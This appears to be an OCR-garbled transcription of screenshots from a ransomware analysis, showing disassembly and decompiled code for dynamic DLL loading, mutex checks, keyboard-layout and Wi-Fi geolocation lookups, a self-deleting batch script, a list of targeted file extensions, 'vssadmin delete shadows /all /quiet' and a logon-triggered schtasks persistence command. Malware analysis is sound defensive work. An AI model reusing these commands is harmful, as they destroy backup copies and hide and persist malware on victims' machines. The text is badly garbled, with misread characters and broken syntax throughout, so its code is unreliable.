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CreateProcess: c:\documents and settings\administrator\application data\6zhzvt2p.exe
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PID HES RS
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DOWS\system32\cmd.exe 4b074531.exe
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=ub_405F30:
call = 405850
call =ub 405BT0
call =i 4060C0
call =ub 405E30
a1 S, SEM
iz shorl 1oc_405F4e
I [ [
irus Falza
call =ub 40GEAD
call =ub 405TED
1=t Sak, SR
Jz short 1o 405F95
| [ |
Fal s 1rue
call =ub 405440
Tesl oEM, S8M
iz short 1oc_405F48
Falza 1rue
push as1
push z
call = 40TESD
=Y a=i, dzillesp
acdd esp:4
push 300000 5 duii 111 sacond=s
call ezl ; Slesp
pash Z
call = 407ES0 push offzet url_40F1AD
add aqﬁ-4 call b 408490 e o, A
L]
posh  GO0000 5 dubi 111 seconds ﬁ s=p, 4 retn
call ezl § Slesp mn
push I
call =ub 407ERD
acdd 98p,4
call =ub 40400
Mor B, EEM
pop &s1
ratln
0x02:
UlZ = 1665792991

LoadLibraryf{"'wlanapi.dl1");

LoadLibraryA{"'ntdll.d11"};
LoadLibraryf{"mpr .d11");

LoadLibraryfa{iphlpapi.dl1™);
sub_4@85648(&v13, 9, &v9, 4);

WsasStartup{2u, &WSAData);
CoInitialize(@);
Wiabata.lpVendorInfo = vi;

%(_DUDRD *)BMSAData.szSystemStatus[127] = u8;

vl = sub_L489498(1, 10248);

sub_4892EB((void =)u1, @, Bx2800u);
u2? = {const CHAR #*}sub_4B87328{);
ud = (const WCHAR =)sub_4BA138({u2);

ul = (MCHAR =)u3;

U5 = CreateFileW{v3, B8x80000000, 3u,
UG = us;

if { uS *= {HAHDLE}-1 }

{

WiAData.lpVendorInfo = 8;

8, 3u, 8, 8);

SetFilePointer{vs, -18248, 8, 2u);
ReadFile(u6, (LPUDID)u1, Bx2880u, (LPDUWDRD)&WSAData.lpUendoriInfo, B);

CloseHandle{ud);

H
sub 4@9430(vh);

0x03




1
2| wuw@ = GetCommandLineW{);
3| result = CommandLineToArguW(ve, &v6);
4 dif ( va == 2 )
5 4
i} result = (LPWSTR #=)result[1];
H if ( ={_WORD =)result == 180 && *={{_ WORD =)result + 1) )}
B {
D if { AttachConsole{@xFFFFFFFF) )
a {
1 u?2 = GetStdHandle{B=FFFFFFF5);
2 vd = {const CHAR =)sub_4@ARABB{"{\"b\":\"%H#.=s\"}", 8, dword_U@F1E8 + 4);
3 vy = ui;
4 uS = lstrlenAafv3);
5 WriteFile{v2, vk, v5, &HumberOfBytesWritten, @);
6 H
7 ExitProcess(@);
B H
LI
0x04 g
9 we = al;
18| v1 = GetCommandLineW({};
11| v2 = CommandLineTofArguli{vi, &u6);
12| if { u6 >= 2 && =u2[1] == 183 )}
13| ¢
14 u3 = sub_4@5CAB();
15 if ( v3 )
16 {
17 uly = OpenProcess{Bx180488u, @, v3);
18 if ( *sub_LBSCAB{UL) )
19 ExitProcess{@);
g ¥
My
iSi iii_ _ T
0x05
7| wB = (const CHAR =)sub_ 4B87DA{8, -47);
g vl = CreateHutexzA{B, 1, vid);
21 result = @;
B if { GetLastError{) == 183 )
1 4
2 CloseHandle{u1);
3 SleepEx{8x3A98u, B8);
L Createlutexn{d, 1, vd);
5 if { GetLastError{) == 183 )
[\ result = 1;
A
# return result;
iy
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vl = GetKeyboardLayoutList({1@, (HKL =)List);
if { vB <=8 || (vl = 8, v <= 8) )

{
LABEL_18:
result = B3
H
else
{
while { 1 )

List[2 = v1] & Bx3FF;

- o ne aa ~ ET TN
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mac ssid

LT
uZ = @3
sub_4B9DDA{{int)&us);

U3 = sub_ 4BB1CA((int)&ua);
if ( v3 >=8)

sub_489DDB({{int}&duHunber0fBytesavailable);
B Y L 1T T g e e e

s

Fal sub_489F18

25 sub_489848

20 sub_#OB3E0
a1 Sub_4896F B

33 sub_4@9F18
34 sub_489F18

0x08

ettt .., o o L L TR R (O

maps. googleapis. com

ud = sub_L4B872AB({v2);
vl = {const CHAR =)sub_ 48AABB{"%s\\_ config%u.bat", u3)};
U5 = CreateFileA(vs, Bx40000886u, 7u, 6, 2u, B8x102u, 8);
if ( vS == (HAHDLE)-1 )
{
result = B;
H
else
{
ui = {const CHAR #=)sub_L4BARBA{
" rabxi\ryn”
"ping 127.08.68.1 -n 2 > nulyriyn"
"del /A /F /0 \"%s\Uwrant
"if exist \%s\" goto abx\rin®
"del FA AF FQ \UESVUZWPADRT,
ul,
v, |
ully;
v = u7;
3 = 1lstrlenA{v?);

WriteFile{vS, v8, v?, &HumberOfBytesUritten, 8);
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.dat .mx0 .cd .pdb .xgx .old .cnt .rtp .gss .gst .fx0 .fx1 .ipg .ert .pic .img.cur .fxr .slk .m4u .mpe .mov .wmv .mpg
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ma .djv.pdf .djvu .jpeg .jpg?www.2cto.com .bmp .png?www.2cto.com .jp2 .1z .rz .zipx .gz .bz2 .s7z .tar .7z .tgz.r
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raf .rw2 .rwl .kdc .yuv .sr2 .srf .dip .x3f .mef .raw .log .odg .uop.potx .potm .pptx .rss .pptm .aaf .xla .sxd .pot .e
ps .as3 .pns .wpd .wps .msg.pps .xlam .xIl .ost .sti .sxi .otp .odp .wks .vcf .xltx .xltm .xlsx .xIsm.xlsb .cntk .xlw .x|
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3 = 156;

) = GetUersionExA{ (LPOSUERSIONINFOA)&2);

)| if { vo )

| = u4 + 18 = u3;

)| return sub_484F88(L"vssadnin”, L"delete shadows /all /quiet™, v8 > 68);
i

0x12

: = sub_4B87D6(8u, 182);
I .duosversionInfosize = 156;
if { GetUersionExA(& )
' && (signed _ int32)( .dubinorUersion + 18 = .dwHajorVersion) > 68
' && sub_485118()
&8 sub_4B5188() )

A
| if ¢ ]
= sub_4BAAFB(/DELETE /TH /F \"%s\"", (char)ud);
else
' = sub_4BAAFB{"'/CREATE /TH \"%s\" /TR \"%s\" /SC ONLOGOM /RL HIGHEST /F", {char)ul);
' = 4;
. if )
' =5;
= sub_4B4F88({L"schtasks", . ):
[
' else
4

sub_487388{u3);
sub_4BRAF B(""%s5\\%s.1nk™, ¥:

-
-
L

)
: {
' = DeleteFileW{v8};
' H
else
! {
I = sub_40A136¢ ¥:

= sub_u826FB{u9, , Gunk_40CSEY4, Bunk 4OCSEL);
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